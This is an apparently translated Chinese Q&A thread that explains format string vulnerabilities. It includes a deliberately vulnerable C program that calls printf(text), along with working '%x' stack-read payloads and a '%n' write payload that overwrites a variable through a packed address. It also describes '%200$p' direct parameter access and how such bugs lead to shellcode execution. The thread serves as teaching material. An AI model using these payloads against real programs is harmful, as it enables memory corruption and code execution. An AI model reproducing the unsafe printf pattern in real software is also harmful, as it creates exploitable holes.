我正在阅读代码中的漏洞,并遇到了这个格式字符串漏洞。
Wikipediasays:当程序员希望打印包含用户提供的数据的字符串时,最常出现格式字符串错误。程序员可能会错误地写入 printf(缓冲区)而不是 printf(“% s”,缓冲区)。第一个版本将缓冲区解释为格式字符串,并解析其中可能包含的任何格式指令。第二个版本只是按照程序员的意图将字符串打印到屏幕上。
我得到了 printf(缓冲区)版本的问题,但我仍然没有得到这个漏洞如何被攻击者用来执行有害代码。
您可以通过多种方式直接或间接利用格式字符串漏洞。让我们以以下内容为例(假设没有相关的操作系统保护,这是非常罕见的):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
此漏洞的基础是具有可变参数的函数的行为。本质上,实现处理可变数量参数的函数必须从堆栈中读取它们。如果我们指定一个格式字符串,使printf()
在堆栈上需要两个整数,并且我们只提供一个参数,则第二个参数必须是堆栈上的其他参数。通过扩展,如果我们可以控制格式字符串,则可以有两个最基本的原语:
从任意内存地址读取
[编辑]重要提示:我在这里对堆栈框架布局做了一些假设。如果您了解漏洞背后的基本前提,则可以忽略它们,并且它们在操作系统,平台,程序和配置方面各不相同。
可以使用%s
format 参数读取数据。您可以在printf(text)
中读取原始格式字符串的数据,因此您可以使用它从堆栈中读取任何内容:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
写入任意内存地址
您可以使用%n
格式说明符写入任意地址(几乎)。同样,让我们假设上面有漏洞的程序,让我们尝试更改some_value
的值,它位于0x08049794
,如上所示:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
我们已经用遇到%n
说明符(man printf
)之前写入的字节数覆盖了some_value
。我们可以使用格式字符串本身或字段宽度来控制此值:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
有很多可能性和技巧可以尝试(直接参数访问,大字段宽度使环绕成为可能,构建您自己的原语),这只是触及冰山一角。我建议阅读更多关于 fmt 字符串漏洞的文章(Phrack 有一些非常优秀的文章,尽管它们可能有点先进)或一本涉及该主题的书。
免责声明:这些例子取自 Jon Erickson 的《黑客:剥削的艺术》(第二版)。
有趣的是,没有人提到 POSIX 支持的n$
表示法。如果您可以以攻击者的身份控制格式字符串,则可以使用以下表示法:
"%200$p"
读取堆栈上的 200th项(如果有)。目的是您应该列出从 1 到最大值的所有n$
数字,它提供了一种重新排序参数在格式字符串中的显示方式的方法,这在处理 I18N(L10N,G11N,M18N*)时很方便。
但是,一些(可能是大多数)系统对于如何验证n$
值有些缺乏,这可能导致可以控制格式字符串的攻击者滥用。结合%n
格式说明符,这可能导致在指针位置写入。
*首字母缩略词 I18N,L10N,G11N 和 M18N 分别用于国际化,本地化,全球化和跨国化,数字表示省略的字母数。
答案就在文章里!
不受控制的格式字符串是一种在 1999 年左右发现的软件漏洞,可用于安全漏洞。以前认为无害的格式字符串漏洞可用于使程序崩溃或执行有害代码。
然后,典型的攻击使用这些技术的组合来强制程序用指向某些恶意外壳代码的指针覆盖库函数的地址或堆栈上的返回地址。格式说明符的填充参数用于控制输出的字节数,%x
令牌用于从堆栈中弹出字节,直到到达格式字符串本身的开头。格式字符串的开头可以包含恶意令牌
这是因为%n
导致printf
将数据写入堆栈上的变量。但这意味着它可以任意写入某些内容。您所需要的只是让某人使用该变量(如果它恰好是一个函数指针,则相对容易,您刚刚想出了如何控制其值),并且它们可以使您任意执行任何操作。
看看文章中的链接;它们look interesting。
我建议您阅读this有关格式字符串漏洞的讲义,它详细描述了发生的情况和方式,并提供了一些可能有助于您理解该主题的图像。
本站系公益性非盈利分享网址,本文来自用户投稿,不代表边看边学立场,如若转载,请注明出处
评论列表(79条)